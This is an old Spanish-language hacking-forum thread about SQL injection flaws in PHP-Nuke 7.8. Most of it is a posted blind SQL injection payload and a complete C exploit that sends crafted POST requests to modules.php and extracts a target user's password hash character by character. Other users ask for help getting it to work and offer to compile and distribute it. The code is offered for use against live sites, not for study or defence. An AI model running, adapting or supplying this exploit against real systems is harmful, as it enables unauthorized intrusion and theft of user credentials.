elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 14:30  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  PHPNuke Multiple SQL Injection Vulnerabilities
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: PHPNuke Multiple SQL Injection Vulnerabilities  (Leído 1,031 veces)
rodimus

Desconectado Desconectado

Mensajes: 42



Ver Perfil
PHPNuke Multiple SQL Injection Vulnerabilities
« en: 18 Septiembre 2005, 17:52 »

Anduvepor la web de securityfocus y me encontre esto :D spero les sirva salu2

http://www.securityfocus.com/bid/14815/exploit




SM
En línea
joanikus

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: PHPNuke Multiple SQL Injection Vulnerabilities
« Respuesta #1 en: 18 Septiembre 2005, 20:18 »

loko como funka creo q no va
En línea
Rentero
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.163


La paciencia es la madre de la ciencia.


Ver Perfil
Re: PHPNuke Multiple SQL Injection Vulnerabilities
« Respuesta #2 en: 18 Septiembre 2005, 21:07 »

Holas.

Hombre, si lo copias tal cual nunca te va a funcionar.
Donde [SQL] tienes que currarte la inyección SQL.

Lo suyo sería que aprendieras ha hacer inyecciones sql.

Saludos ;)
En línea

Firmado.
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: PHPNuke Multiple SQL Injection Vulnerabilities
« Respuesta #3 en: 19 Septiembre 2005, 01:00 »

probemos con:

Código:
'%%20UNION%%20SELECT%%201,1%%20FROM%%20%susers%%20WHERE%%20user_id=%d%%20AND%%20ascii(substring(user_password,%d,1))%c%d/*"

o utilicemos el siguiente exploit:

Código:
/***********************************************
* PHP-Nuke <=7.8 SQL injection exploit
* need MySQL > 4.0
* (c)oded by 1dt.w0lf
* RST/GHC
* http://rst.void.ru
* http://ghc.ru
************************************************/
// tested on 7.8

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <regex.h>

#define START 47
#define END   103
#define SZ    1024
#define PORT  80
#define PREFIX "nuke_"
#define SQL "name=PHP-Nuke%%207.8%%20Exploit'%%20UNION%%20SELECT%%201,1%%20FROM%%20%susers%%20WHERE%%20user_id=%d%%20AND%%20ascii(substring(user_password,%d,1))%c%d/*"


main (int argc, char **argv) {
 int pos;
 int res = 0;
 char result[33];

 if(argc<4)
  {
  printf("Usage %s [host] [/folder/] [user_id]\n",argv[0]);
  exit(1);
  }
 
 printf("PHP-Nuke <= 7.8 SQL injection exploit\n"
         "-------------------------------------\n"
         "[~] Host : %s\n[~] Folder: %s\n"
         "[!] Searching password for user with id : %d\n"
         "[!] Please wait...\n",argv[1],argv[2],atoi(argv[3])); 
 for(pos=1;pos<33;pos++)
  {
  found(argv[1],argv[2],atoi(argv[3]),START,END,pos,&res); 
  sprintf(result+pos-1,"%c",res);
  if(res == 0) { break; }
  }
 result[33] = '\0';
 if(strlen(result)>0) printf("[+] Password: %s\n",result);
 else printf("[-] Password not found\n");
 exit (0);
}

int found(char * host, char * folder, int user_id, int min, int max, int pos, int * res)
 {
 int i;
 int sr = (max - ((max-min)/2));
 if( (max-min) < 6 ) { i=(brute(host,folder,user_id,min,max,pos)); *res = i; }
 else if( (check(host,folder,pos,'>',sr,user_id)) == 1 ) { found(host,folder,user_id,sr,max,pos,res); }
 else { found(host,folder,user_id,min,sr,pos,res); }
 return 0;
 }

int brute(char * host, char * folder, int user_id, int min, int max, int pos)
 {
 int i;
 for(i=min-1;i<max+1;i++)
  {
  if((check(host,folder,pos,'=',i, user_id)) == 1) { return i; }
  }
 return 0; 
 }
 
int check(char * host, char * folder, int pos, int chk, int test, int user_id)
 {
 char req[SZ];
 char ans[SZ];
 char sql[SZ];
 int sock;
 struct hostent *hp;
 struct sockaddr_in sin;
 regex_t re;
 char *pattern = "Sorry, this Module isn't active!";
 
 if( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0 )
  {
   printf("[ ERROR ] Can't create socket!\n");
   exit(1);
  }
 
 if( (regcomp( &re, pattern, REG_EXTENDED )) != 0 )
  {
  printf("[ ERROR ] REG ERROR!\n");
  exit(1);
  }
 
 bzero(&sin, sizeof(sin));
 sin.sin_family = AF_INET;
 sin.sin_port   = htons(PORT);
 hp = gethostbyname (host);
 
 memcpy ((char *)&sin.sin_addr,hp->h_addr,hp->h_length);
 connect (sock, (struct sockaddr *)&sin, sizeof(sin));
 
 bzero(req,sizeof(req));
 bzero(ans,sizeof(ans));
 bzero(sql,sizeof(sql));

 snprintf(sql,SZ-1,SQL,PREFIX,user_id,pos,chk,test);
 
 snprintf(req,SZ-1,"POST %smodules.php HTTP/1.0\n"
                  "Host: %s\n"
                  "Content-Type: application/x-www-form-urlencoded\n"
                  "Content-Length: %d\n\n"
                  "%s\n\n\n",
                  folder,
  host,
                  strlen(sql),
                  sql);
 
 write(sock, req, strlen(req));

 while( (read(sock, &ans, SZ-1)) > 0 )
  {
  if( (regexec( &re, ans, 0, NULL, 0)) == 0) { return 0; }
  bzero(ans,sizeof(ans));
  }
 close (sock);
 return 1;
 }

Salu2
« Última modificación: 19 Septiembre 2005, 19:40 por mousehack » En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
Simbelmynë


Desconectado Desconectado

Mensajes: 856



Ver Perfil WWW
Re: PHPNuke Multiple SQL Injection Vulnerabilities
« Respuesta #4 en: 20 Septiembre 2005, 03:23 »

Mousehack
Alguna sugerencia para que el exploit no me devuelva el password como: cccccccccccccccccc ???
Hace unos dias tambien habia tenido un problema simil con un exploit para invision power board...
Disculpas, pero de C no entiendo casi nada, digamos que recien empiezo a leer algunos manuales basicos.
Gracias de antemano.
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: PHPNuke Multiple SQL Injection Vulnerabilities
« Respuesta #5 en: 20 Septiembre 2005, 03:51 »

hypnoss deja consigo las librerias que me faltan, y publico el exe en internet.
En línea

Simbelmynë


Desconectado Desconectado

Mensajes: 856



Ver Perfil WWW
Re: PHPNuke Multiple SQL Injection Vulnerabilities
« Respuesta #6 en: 20 Septiembre 2005, 04:47 »

decime cuales te faltan y te las cuelgo por ahi
saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines